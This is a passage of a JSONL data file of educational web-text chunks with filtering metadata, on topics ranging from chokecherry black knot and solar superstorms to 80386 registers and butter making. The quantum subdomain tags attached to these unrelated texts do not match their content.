perhaps the most significant factor limiting the economic feasibility of commercial chokecherry production. the next time you see these black knots, your thoughts may wonder to a childhood memory, or perhaps of chokecherry jam, syrup, or wine. whatever your thoughts, scouting out black knot this spring may help you find a few new chokecherry plants to harvest this summer. natural north dakota is supported by ndsu central grasslands research extension center and minot state university - bottineau, and by the members of prairie public. thanks to sunny 101. 9 in bottineau for their recording services. listen to radio online log - on and dig deep into the news of the day. it \u2019 s all online in our public newsroom. \u00bb visit the public news", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.446919675713719, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.033271"} {"text": "when news happens, text bonews and your photos to 80360 or phone 01204 537274 call for solar superstorm board a new quango is needed to help britain brace itself against a once - in - a - century \" solar superstorm \", experts said. setting up a uk space weather board is the key recommendation made to the government in a report from the royal academy of engineering. the board would lead and supervise government strategy for coping with a massive radiation blast from the sun that could trigger black - outs, knock out one in 10 satellites, and disrupt aircraft and shipping navigation. statistically, a solar superstorm is likely to occur every one to 200 years. although solar weather events happen on a regular basis, the earth has not experienced a superstorm since the start of the space age. the last true superstorm, known as the \" carrington event \" occurred in 1859. on that occasion, earth was hit by a tidal wave of energetic particles following a large solar flare. induced currents caused by the blast sent sparks flying from telegraph pylons and caused fires. but at that time there were no satellites in orbit or sensitive microchips in the path of the particles. experts now warn that another solar superstorm on the scale of the carrington event is \" inevitable \" and britain should be prepared. professor paul cannon, who chaired the academy ' s working group on extreme solar weather, said : \" the two challenges for government are the wide spectrum of technologies affected and the emergence of unexpected vulnerabilities as technology evolves. the academy recommends that government sets up a space weather board to oversee these issues across government departments. \" around one in 10 orbiting satellites could be knocked out for days during a superstorm event, said the report. those that keep operating would be aged \" enormously \", making it necessary for many to be replaced. gps signals would be interrupted one to three days after the storm hit as satellite transmissions to the ground are disrupted. as a result, sat - nav systems would be rendered inoperable. energetic particles penetrating lower levels of the atmosphere could also interfere with aircraft electronics. space engineer keith ryden, from the university of surrey, another member of the working group, said : \" the most likely scenario is that data elements get corrupted. it ' s possible that individual chips could fail. the systems are designed to cope with a certain amount of failure. what would be of concern is if we had multiple failures for the pilot to deal with so he becomes overloaded. \" but", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4878176822304213, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.035990"} {"text": "september is sports eye injury prevention awareness month san diego, california september 01, 2012 health news ( prleap. com ) 4s ranch ( september 1, 2012 ) \u2013 shin guards for soccer, shoulder pads for football, batting helmets for baseball and softball. almost every sport has its own unique protective gear. but according to dr. jacquelin le, an optometrist at eyelux optometry in rancho bernardo, most participants in sports forget to protect one of the most important parts of the body : the eyes. \" every year, more than 32, 000 people suffer injuries to the eyes while playing sports, \" dr. le said, \" according to prevent blindness america 90 % of all eye injuries are preventable. \" protective sports eyewear can help prevent injuries such as fracture of the eye socket, scratched corneas, swollen retinas and even cataracts caused by trauma to the eye, dr. le said. parents of children who participate in sports should consider protective eyewear to be as essential as the faceguard on a football or baseball helmet. eyelux optometry is an authorized sport eye injury prevention center and has committed to preventing blindness caused by sports eye injuries in our community around 4s ranch and rancho bernardo. \" september means back to school and time for organized sports and the potential for eye injuries, \" says dr. le. \" this year we want to be proactive and reach out to the parents, coaches and school nurses, and encourage young athletes to have their eyes examined and be fitted for the proper protective sports eyewear. our opticians are trained to prevent this needless loss of sight and we have a selection of new, stylish protective sports eyewear that not only protect eyes but also look good. which is more tragic, a blind eye or a bruised shin? \" make sure when you or your child goes out onto the playing field, protective sports eyewear is part of your protective gear. about eyelux optometry eyelux optometry offers inspired family eye care and the largest selection of eyeglasses and sunglasses in the vicinity. professional exams include digital retinal imaging and their better than 20 / 20 promise\u2122. eyelux optometry is independently owned and serves rancho bernardo, rancho penasquitos, rancho santa fe, and the surrounding communities. for more information, call ( 858 ) 487 - 7900, or visit www. eyeluxoptometry. com brian chou, o. d., f. a.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46461504012046034, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.041188"} {"text": "the great american land grab part seven ( in case you missed them, parts 1 - 6 are available at the archives ) nevertheless, the intended transformation of the west did not occur. great dams were built, rivaling the pyramids of egypt in their wondrousness ; reservoirs were formed, and aqueducts constructed. by 1970 the bureau of reclamation spent almost $ 10 billion and irrigated nearly seven million acres. yet land monopoly is more firmly entrenched in the west than ever ; federal water has flowed and continues to flow in great quantity to the huge, absentee - owned corporate estates that should, under the law, have been broken up and sold to small resident farmers. in the words of former senator wayne morse, the wholesale, continuing violations of the 1902 act constitute \" a water steal reminiscent of the scandals \" of teapot dome and the \" great land frauds. \" nearly a century ago the san francisco chronicle warned : \" the land... taken by two or three men is sufficient to afford homes and independence to hundreds of intelligent, industrious and honest settlers. it is this class that makes, as it is the other [ land monopolists ] that ruins a country. the confirmation of title to the monopolists means the transfer of ownership of the soil to a nonresident aristocracy, and its continued cultivation by a race of aliens and coolies. let it be awarded to the settlers, and schools, roads, churches and general prosperity will ensue. this and similar warnings went unheeded ; the south and west developed as the chronicle feared. ownership of particular estates shifted hands over the course of several depressions, panics and booms, and in recent years the trend has been toward ownership by large corporations - often oil companies or conglomerates. but though the names have changed, the pattern of large landholdings has held steady throughout. a nonresident landed aristocracy - today composed of such diverse persons as sen. eastland and the directors of tenneco - enjoys vast power. along with absentee ownership, racial exploitation became a way of life in the west, as it previously had in the south but as it never did in the midwest. chinese and japanese field hands were succeeded by hindus, filipinos and mexicans. the treatment of japanese farmworkers is particularly instructive. for many years they were enthusiastically praised by california growers ; they performed the most menial tasks with great skill and without asking favors ( such as transportation and boarding ) of their employers.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44291054832295074, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.051931"} {"text": "the treatment of japanese farmworkers is particularly instructive. for many years they were enthusiastically praised by california growers ; they performed the most menial tasks with great skill and without asking favors ( such as transportation and boarding ) of their employers. soon, however, the japanese began leasing land for themselves - usually \" useless \" marsh or desert which they would reclaim and plant with rice or other crops. through thrift and hard work, they even began achieving their ambition to own land. this was too much for the land monopolists, who succeeded in passing the alien land act of 1913, designed to force the japanese to sell their improved lands to them. other effects of concentrated land ownership were as the chronicle foresaw. schools, shops and civic institutions never blossomed in those parts of the south and west dominated by giant landholdings. enormous disparity of wealth and power is rarely conducive to widespread involvement in public affairs, and is even less so when large portions of the population are migrants, or are barred by one means or another from voting. why, after all, should an absentee landlord spend his taxes on good public schools, when his own children go to private school and an educated work force is the last thing he wants? what was not foreseen was the impact that land monopoly would eventually have on american cities. if the southern plantations and mexican land grants had been broken up, if western land had been distributed in limited - size parcels to actual settlers as generously as it was handed out in prodigious chunks to speculators if the reclamation law had been vigorously enforced, it is doubtful that the cities would be as overcrowded and as beset as they are today. blacks and landless whites would, in smaller numbers, have migrated to the cities, but they would not have been so ill - prepared had they descended from landowning farmers. they would have had dignity, schooling, some experience in public affairs, and perhaps savings enough to establish a foothold. the question now is whether we are going to compound the errors and injustices of the past, or remedy them. end of part seven. this concludes \" the great american land grab. \" our next featured essay by peter barnes, \" the vanishing small farmer, \" will begin onthursday, october 16. this essay is part of a series written by peter barnes for the new republic magazine in 1971 - 72. we think you ' ll be pleased - - and perhaps shocked - - to see how timely and", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47299974305015946, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.053283"} {"text": "technologythe use of technology is an important part of the curriculum and every day life for students and teachers at qatar academy. it can look very different from one class to the next, but how it is used to compliment student education and teacher instruction creates the foundation of technology at qa. the e - learning vision serves to support the mission and vision of qatar academy and provides students with an opportunity to become critical and independent thinkers as they develop problem solving and organizational skills. the school has developed a 21st - century learning program that is embedded into the curriculum and has been designed to complement essential elements of the international baccalaureate programme. to that end, the school has also established a one - to - one laptop program with windows netbooks and macbooks from grade 2 to 10. the students from grades 6 through 10 are required to use macbook laptops to assist their learning and facilitate work and file sharing. the students in grades 2 - 5 use individually assigned classroom laptops to collaborate, research and present work on their e - portfolios as they reflect on their learning journeys. school - wide technology is supported by a wireless network that allows students to access files, emails and classroom work at any time. qatar academy \u2019 s it and e - learning department oversees ten state - of - the - art computer labs, mobile learning equipment, audio and video recording equipment and an online learning management system, making qa one of the most technologically advanced schools in the region.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5282834841353126, "token_count": 291, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.056579"} {"text": "lives and times of african migrants & immigrants in post - apartheid south africa mcdonald, lephophotho mashike, and celia golden southern african migration project migration policy series no. 13 please note : readers are welcome to reproduce this article as long as appropriate acknowledgments are given. since 1996, the southern african migration project ( samp ) has conducted a series of cross - national surveys of attitudes towards migration and immigration in the region. the aim of the surveys is to provide policy - makers, ngos and researchers with up - to - date, comprehensive and rigorous information on people ' s experiences with, and attitudes towards, cross - border migration in the southern african region. the first major survey, the five nation survey, focused on the attitudes towards migration of residents of countries bordering south africa ( lesotho, mozambique, namibia, botswana and zimbabwe ). the second examined south african attitudes towards immigrants and immigration. the third complementary survey studies the attitudes and experiences of african migrants living in south africa at the time of the survey. this publication reports the results of the third survey and, for a fuller picture, should be read in conjunction with the samp reports on the first two surveys. the survey of 501 migrants from other african countries living in south africa was conducted in mid - 1998. the research was undertaken in three provinces - - gauteng, western cape and kwazulu - natal. the difficulties of identifying and interviewing migrants in south africa are well - known to researchers. as a result, this survey certainly does not claim to be statistically representative of the entire migrant population in the country. indeed, this would be impossible given the unknown numbers of undocumented migrants and their relative importance compared to legal migrants. however, this is still the largest survey undertaken by anyone to date of migrants from other african the survey permits the construction of the following general profile of the african migrant population within south africa : - most migrants from sadc countries have visited south africa before this current visit and are at least the third generation of their family to have done so. migrants from other parts of africa are generally visiting south africa for the first time. - few migrants have the desire to settle permanently in - migrants are motivated to come to south africa largely, but not entirely, by economic opportunities. - migrants are motivated, educated, skilled and - although migrants find work easily, they do not earn high - migrants have substantial responsibilities in their home country, which in most instances includes the maintenance of a house and family. - although economic opportunities and certain social services", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4344747902773066, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.069535"} {"text": "are motivated, educated, skilled and - although migrants find work easily, they do not earn high - migrants have substantial responsibilities in their home country, which in most instances includes the maintenance of a house and family. - although economic opportunities and certain social services are deemed to be better in south africa than in the home country, most migrants would prefer to raise a family in their home country and find the overall quality of life to be better at home. - the vast majority of migrants are legal and in spite of significant difficulties obtaining official documentation, most have entered south africa through designated customs points, using formal modes of transport, and have pre - arranged accommodation. - there is growing evidence to suggest that far from being the perpetrators of crime, migrants are disproportionately the victims of crime and xenophobia, made worse be inadequate redress in the law or lack of protection by the police. - migrants feel strongly that they should be offered the same social and economic rights as south african citizens ( e. g. opportunities for a job, same access to medical services ), but should not necessarily be allowed to vote in south african elections. - migrants take borders seriously and support immigration policy if it is fair and applied humanely. - most migrants feel that south africa has a moral obligation to the african countries that took up positions against apartheid, and should therefore embrace and welcome foreign migrants. these results correspond with the findings of the survey conducted in lesotho, mozambique, zimbabwe, and namibia in 1997, and reinforce the central argument of this paper. cross - border migration from other parts of africa into south africa is predominantly legal, short - term, and highly formalized. popular perceptions of poor, uneducated criminals doing whatever it takes to sneak into south africa and stay in the country forever are simply not born out in the research. these popular perceptions may in fact contribute to a hardening of immigration sentiment and growing xenophobia in south africa. the ironic result is that an eminently manageable process becomes increasingly clandestine and difficult to control. the policy implications of the research are as follows : - migration would appear to be a highly regularized and legalized process conducted by responsible people, and it is important that south africa build on this process rather than forcing migrants and migration into more clandestine modes of operation. - new immigration legislation should address human rights abuses and make immigration policy more consistent with the bill of rights in the south african constitution. - immigration and security authorities should address human rights abuses at a more practical level with their staff in terms of education and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43344238446970795, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.071191"} {"text": ". - new immigration legislation should address human rights abuses and make immigration policy more consistent with the bill of rights in the south african constitution. - immigration and security authorities should address human rights abuses at a more practical level with their staff in terms of education and discipline. - immigration policy - makers and practitioners should recognize the importance of cross - border movement for socio - economic stability in the region ( and beyond ) as well as the need to address the more micro - economic impacts that migration policy can have on household opportunities and welfare outside the country. - the bulk of the cross - border traffic in south africa would appear to be short term and it is important that immigration policy be cognizant of the very different legislative and practical differences between long - term or permanent immigration and short - term, purpose - driven - basotho stand out as distinct from other african nationals in terms of their experiences with, and attitudes towards, migration to south africa. these results bring into further focus the need to explore the possibility of some kind of special immigration compact between south africa and lesotho. - migration into south africa is now a truly pan - african phenomenon and will become increasingly so. it is important that policy - makers are sensitive to the regional differences in migration into the country, and that they acknowledge the new role that south africa has begun to play with respect to the movement of people on the continent as a whole. - women are an increasingly important part of the migration nexus, and their experiences and aspirations with cross - border migration are different in many respects from those of men. policy - makers must pay attention to these gender dynamics when it comes to legislating and managing immigration policy. - although the majority of migrants interviewed do not intend to stay in south africa permanently, they do plan to stay for several months or several years and they expect to have access to basic social and economic services. access to housing, education, health care and other social and welfare services needs to be addressed as part of a larger basket of immigration rights and responsibilities. it is essential that these decisions be based on reliable, empirical evidence about what is happening on the ground, as well as by reference to international policy experiences and treaty obligations.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44858398940694866, "token_count": 438, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.073037"} {"text": "\" to know the whole world \" : women \u2019 s travel writings from the schlesinger library, 1819 \u2013 1972 the exhibit opens on friday, october 2, 2009, and runs through friday, february 26, 2010, and will be on view in the schlesinger library \u2019 s first floor exhibit area during regular library hours : monday through friday from 9 : 30 a. m. to 5 p. m. \u201c i still have managed to know the whole world as few people of any kind have had the chance to know it.... no magic formula has made this possible \u2014 simply the idea that we have just one chance at it and that chance must be taken while the taking is there. \u201d lillian schoedler papers recognizing a growing demand for sources for the study of travel and life writing, adam matthew digital and the schlesinger library have collaborated to digitize a selection of the library \u2019 s travel diaries and correspondence. these digitized sources will be published in travel writing, spectacle and world history, a new on - line resource available to students and scholars. this exhibit highlights just a few of the many travel diaries and related correspondence, selected from over 50 of the library \u2019 s collections, that were included in the project. the sources document women as they progress through time and space, from the united states to europe, asia, australia, south america, and africa. they travel by foot, ship, covered wagon, car, and plane. they are keen observers and recorders, using pen, camera, and brush. diverse in their motivations, their socioeconomic backgrounds, and their relationships, the women travel alone, with family, or with friends. the travel diaries and letters in this collection offer commentary on topics such as frontier life in america, missionary work, historic world events, and local customs. the writers compare themselves to the women in the places they visit, speculate on what they are missing at home, and reflect on finding themselves, sometimes for the first time, in the public arena. the writings provide snapshots of cities, impressions of cultures and customs, and personal reactions to events of the time. collectively, the documents chart the rise of modern tourism and the travel industry in the 19th and 20th centuries. for most, travel was not the center of their lives, but each was transformed by travel. the records they created were intended for themselves alone or for family and friends. they could not have anticipated the interest their thoughts and impressions would generate, or the unprecedented access to them made possible by the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47945329912088486, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.076809"} {"text": "hello friends of railway dental! let \u2019 s talk baby teeth! i just found a fantastic collection of resources on the australian dental association \u2019 s website providing detailed info covering right from pregnancy, all the way up until your child loses their last baby tooth! did you know that it \u2019 s quite common for people to be congenitally missing some adult teeth, and sometimes baby teeth are retained well into adulthood! primary teeth ( baby teeth ) are structurally and functionally a lot different to permanent adult teeth. parents, teachers, and any other child - care workers should all be educated about the significance! decay travels faster through primary teeth, so it \u2019 s particularly important that children are getting check - ups every 6 months if they are taking good care of their teeth, and every 3 months if they \u2019 re not! i \u2019 ll never forget listening to a lecture from a specialist orthodontist when i was working in tasmania on oral hygiene in children. parents brush their children \u2019 s teeth every day until their child is ten years old!!! i was shocked when i heard that, but the specialist pointed out that children don \u2019 t have sufficient dedication to clean their teeth properly every day, and that it can even be considered negligent of a parent not to ensure that their children \u2019 s teeth are cleaned well and checked regularly. good to know, right? the website covers the recommendations relating to oral hygiene from infancy, provides info about teething, and another really important issue that people often don \u2019 t ask about : the effects of thumb - sucking on the development of your jaw bones, and the effect that has on the straightness of your child \u2019 s teeth, and their face shape! the info is easy to read and understand, plus downloadable and printable, and i recommend that every parent with children less than 15 years old, and everyone working in the child - care industry should have a browse. let me know what you think!", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4460033867605194, "token_count": 390, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.080533"} {"text": "scientists study the illusive snow leopard in northern afghanistan ( the new york times ) - snow leopards have the advantage of living in \u201c one of the most remote and isolated mountain landscapes in the world, \u201d away from the human threats other large cats face. - increasingly, snow leopards have been eating livestock, and these encounters with humans might threaten this already endangered species as tensions arise. - scientists estimate there are between 4, 500 and 7, 500 snow leopards in the wild, but dr. schaller said, \u201c those figures are just wild guesses. \u201d q & a with will potter about his new book : green is the new red : an insider \u2019 s account of a social movement under siege ( grist ) - will potter discusses how corporations and lobbyists are attacking the environmental movement with accusations of terrorism, much like red scare. - \u201c as the scale of the ecological crisis we are facing becomes more apparent, and as the backlash against social movements that are challenging our self - destructive culture intensifies, it is difficult to not feel dark, to feel helpless. \u201d puma commits to eliminating all hazardous waste releases into chinese waterways as part of greenpeace \u2019 s detox challenge ( greenpeace ) - puma, the third largest sportswear producer in the world, just committed to stop releasing toxic chemical in chinese rivers by 2020, \u201c beating \u201d both nike and adidas in the detox challenge. the national petroleum reserve, bustling with biodiversity of arctic life, is soon to be tapped ( yale environment 360 ) - \u201c this wetland is home to the most spectacular gathering of migratory birds from all over the world, numbering in the millions. \u201d - the 23 million acre reserve will have is its fate decided in a year, and scientists are hurrying to study \u201c special spots, \u201d which the us will protect within the reserve. and lastly a video to inspire, relish and even lament conservation efforts ( treehugger ) if the above embedded video does not display, here to view it.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4089882288401758, "token_count": 408, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.083762"} {"text": "as figure 2 - 5 shows, the low - order word of each of these eight registers has a separate name and can be treated as a unit. this feature is useful for handling 16 - bit data items and for compatibility with the 8086 and 80286 processors. the word registers are named ax, bx, cx, dx, bp, sp, si, and di. figure 2 - 5 also illustrates that each byte of the 16 - bit registers ax, bx, cx, and dx has a separate name and can be treated as a unit. this feature is useful for handling characters and other 8 - bit data items. the byte registers are named ah, bh, ch, and dh ( high bytes ) ; and al, bl, cl, and dl ( low bytes ). all of the general - purpose registers are available for addressing calculations and for the results of most arithmetic and logical calculations ; however, a few functions are dedicated to certain registers. by implicitly choosing registers for these functions, the 80386 architecture can encode instructions more compactly. the instructions that use specific registers include : double - precision multiply and divide, i / o, string instructions, translate, loop, variable shift and rotate, and stack operations. complete programs generally consist of many different modules, each consisting of instructions and data. however, at any given time during program execution, only a small subset of a program ' s modules are actually in use. the 80386 architecture takes advantage of this by providing mechanisms to support direct access to the instructions and data of the current module ' s environment, with access to additional segments on demand. at any given instant, six segments of memory may be immediately accessible to an executing 80386 program. the segment registers cs, ds, ss, es, fs, and gs are used to identify these six current segments. each of these registers specifies a particular kind of segment, as characterized by the associated mnemonics ( \" code, \" \" data, \" or \" stack \" ) shown in figure 2 - 6. each register uniquely determines one particular segment, from among the segments that make up the program, that is to be immediately accessible at highest speed. the segment containing the currently executing sequence of instructions is known as the current code segment ; it is specified by means of the cs register. the 80386 fetches all instructions from this code segment, using as an offset the contents of the instruction pointer. cs is changed implicitly as the result of intersegm", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5235058893674209, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.089087"} {"text": "current code segment ; it is specified by means of the cs register. the 80386 fetches all instructions from this code segment, using as an offset the contents of the instruction pointer. cs is changed implicitly as the result of intersegment control - transfer instructions ( for example, call and jmp ), interrupts, and exceptions. subroutine calls, parameters, and procedure activation records usually require that a region of memory be allocated for a stack. all stack operations use the ss register to locate the stack. unlike cs, the ss register can be loaded explicitly, thereby permitting programmers to define stacks dynamically. the ds, es, fs, and gs registers allow the specification of four data segments, each addressable by the currently executing program. accessibility to four separate data areas helps programs efficiently access different types of data structures ; for example, one data segment register can point to the data structures of the current module, another to the exported data of a higher - level module, another to a dynamically created data structure, and another to data shared with another task. an operand within a data segment is addressed by specifying its offset either directly in an instruction or indirectly via general registers. depending on the structure of data ( e. g., the way data is parceled into one or more segments ), a program may require access to more than four data segments. to access additional segments, the ds, es, fs, and gs registers can be changed under program control during the course of a program ' s execution. this simply requires that the program execute an instruction to load the appropriate segment register prior to executing instructions that access the data. the processor associates a base address with each segment selected by a segment register. to address an element within a segment, a 32 - bit offset is added to the segment ' s base address. once a segment is selected ( by loading the segment selector into a segment register ), a data manipulation instruction only needs to specify the offset. simple rules define which segment register is used to form an address when only an offset is specified. the low - order 16 bits of eflags is named flags and can be treated as a unit. this feature is useful when executing 8086 and 80286 code, because this part of eflags is identical to the flags register of the 8086 and the the flags may be considered in three groups : the status flags, the control flags, and the systems flags. discussion of the systems flags is delayed until part ii. shows, the low", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4975474625239813, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.090143"} {"text": "with her sisters, fodla and eriu, she was part of an important triumvirate of goddesses. when the milesians arrived from spain each of the three sisters asked that her name be given to the country. eriu ( eire ) won the argument, but banbha is still sometimes used as a poetic name for ireland, much as albion is for england. according to seathrun ceitinn she worshipped macha, who is also sometimes named as a daughter of ernmas. the two goddesses may therefore be seen as equivalent. ceitinn also refers to a tradition that banbha was the first person to set foot in ireland before the flood, in a variation of the legend of cessair. in the \u2018 tochomlad mac miledh a hespain i nerind : no cath tailten \u2019, it is related that as the milesians were journeying through ireland, \u2018 they met victorious banba among her troop of faery magic hosts \u2019 on senna mountain, the stony mountain of mes. a footnote identifies this site as slieve mish in dingle, county kerry. the soil of this region is a non - leptic podzol if the character of banbha originated in an earth - goddess, non - leptic podzol may have been the particular earth - type of which she was the deification. initially, she could have been a goddess of war as well as a fertility goddess.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4257038782146586, "token_count": 303, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.093631"} {"text": "solid emulsion of fat globules and water made by churning cream, used as a food. presumably known since the advent of animal husbandry, butter has long been used as a cooking fat and as a spread. it was traditionally a farm product, but with the advent of the cream separator in the late 19th century it began to be mass - produced. it is a high - energy food, containing about 715 calories per 100 grams. it is high in butterfat ( 80 \u2013 85percnt ) and low in protein. colouring is sometimes added to enhance its natural yellow colour ( from carotene ), and salt is often added. learn more about butter with a free trial on britannica. com. butter is a dairy product made by churning fresh or fermented cream or milk. it is used as a spread and a condiment, as well as in cooking applications such as baking, sauce making, and frying. butter consists of butterfat, water and milk proteins. most usually made from cows ' milk, butter can also be manufactured from that of other mammals, including sheep, goats, buffalo, and yaks. salt, flavorings and preservatives are sometimes added to butter. rendering butter produces clarified butter or ghee, which is almost entirely butterfat. butter remains a solid when refrigerated, but softens to a spreadable consistency at room temperature, and melts to a thin liquid consistency at 32 \u2013 35 \u00b0c ( 90 \u2013 95 \u00b0f ). the density of butter is 911 kg / m3 ( 1535. 5 lb / yd3 ). it generally has a pale yellow color, but varies from deep yellow to nearly white. its color is dependent on the animal ' s feed and is commonly manipulated with food colorings in the commercial manufacturing process, most commonly annatto or carotene. in general use, the term \" butter \" refers to the spread dairy product when unqualified by other descriptors. the word commonly is used to describe pureed vegetable or nut products such as peanut butter and almond butter. it is often applied to spread fruit products such as apple butter. fats such as cocoa butter and shea butter that remain solid at room temperature are also known as \" butters \". in addition to the act of applying butter being called \" to butter \", non - dairy items that have a dairy butter consistency may use \" butter ' to call that consistency to mind, including food items such as maple butter and witch ' s butter", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5245834274755027, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.111580"} {"text": ". in addition to the act of applying butter being called \" to butter \", non - dairy items that have a dairy butter consistency may use \" butter ' to call that consistency to mind, including food items such as maple butter and witch ' s butter and non - food items such as baby bottom butter, hyena butter, and rock butter. unhomogenized milk and cream contain butterfat in microscopic globules. these globules are surrounded by membranes made of phospholipids ( fatty acid emulsifiers ) and proteins, which prevent the fat in milk from pooling together into a single mass. butter is produced by agitating cream, which damages these membranes and allows the milk fats to conjoin, separating from the other parts of the cream. variations in the production method will create butters with different consistencies, mostly due to the butterfat composition in the finished product. butter contains fat in three separate forms : free butterfat, butterfat crystals, and undamaged fat globules. in the finished product, different proportions of these forms result in different consistencies within the butter ; butters with many crystals are harder than butters dominated by free fats. churning produces small butter grains floating in the water - based portion of the cream. this watery liquid is called buttermilk \u2014 although the buttermilk most common today is instead a directly fermented skimmed milk. the buttermilk is drained off ; sometimes more buttermilk is removed by rinsing the grains with water. then the grains are \" worked \" : pressed and kneaded together. when prepared manually, this is done using wooden boards called scotch hands. this consolidates the butter into a solid mass and breaks up embedded pockets of buttermilk or water into tiny droplets. commercial butter is about 80 % butterfat and 15 % water ; traditionally - made butter may have as little as 65 % fat and 30 % water. butterfat consists of many moderate - sized, saturated hydrocarbon chain fatty acids. it is a triglyceride, an ester derived from glycerol and three fatty acid groups. butter becomes rancid when these chains break down into smaller components, like butyric acid and diacetyl. the density of butter is 0. 911 g / cm3 ( 527 oz / in3 ), about the same as ice. before modern factory butter making, cream was usually collected from several milkings and was therefore several days old and somewhat fe", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4903921438816682, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.113520"} {"text": "the density of butter is 0. 911 g / cm3 ( 527 oz / in3 ), about the same as ice. before modern factory butter making, cream was usually collected from several milkings and was therefore several days old and somewhat fermented by the time it was made into butter. butter made from a fermented cream is known as cultured butter. during fermentation, the cream naturally sours as bacteria convert milk sugars into lactic acid. the fermentation process produces additional aroma compounds, including diacetyl, which makes for a fuller - flavored and more \" buttery \" tasting product. today, cultured butter is usually made from pasteurized cream whose fermentation is produced by the introduction of lactococcus and leuconostoc bacteria. another method for producing cultured butter, developed in the early 1970s, is to produce butter from fresh cream and then incorporate bacterial cultures and lactic acid. using this method, the cultured butter flavor grows as the butter is aged in cold storage. for manufacturers, this method is more efficient since aging the cream used to make butter takes significantly more space than simply storing the finished butter product. a method to make an artificial simulation of cultured butter is to add lactic acid and flavor compounds directly to the fresh - cream butter ; while this more efficient process is claimed to simulate the taste of cultured butter, the product produced is not cultured but is instead flavored. dairy products are often pasteurized during production to kill pathogenic bacteria and other microbes. butter made from pasteurized fresh cream is called sweet cream butter. production of sweet cream butter first became common in the 19th century, with the development of refrigeration and the mechanical cream separator. butter made from fresh or cultured unpasteurized cream is called raw cream butter. raw cream butter has a \" cleaner \" cream flavor, without the cooked - milk notes that pasteurization introduces. throughout continental europe, cultured butter is preferred, while sweet cream butter dominates in the united states and the united kingdom. therefore, cultured butter is sometimes labeled european - style butter in the united states. commercial raw cream butter is virtually unheard - of in the united states. raw cream butter is generally only found made at home by consumers who have purchased raw whole milk directly from dairy farmers, skimmed the cream themselves, and made butter with it. it is rare in europe as well. several spreadable butters have been developed ; these remain softer at colder", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4762660228011545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.114702"} {"text": "found made at home by consumers who have purchased raw whole milk directly from dairy farmers, skimmed the cream themselves, and made butter with it. it is rare in europe as well. several spreadable butters have been developed ; these remain softer at colder temperatures and are therefore easier to use directly out of refrigeration. some modify the makeup of the butter ' s fat through chemical manipulation of the finished product, some through manipulation of the cattle ' s feed, and some by incorporating vegetable oils into the butter. whipped butter, another product designed to be more spreadable, is aerated via the incorporation of nitrogen gas \u2014 normal air is not used, because doing so would encourage oxidation and rancidity. all categories of butter are sold either in salted and unsalted forms. either granular salt or a strong brine are added to salted butter during processing. regions that favor sweet cream butter tend to prefer salted butter, possibly as a result of the more bland taste of uncultured butter. in addition to the enhanced flavor, the addition of salt acts as a preservative. the 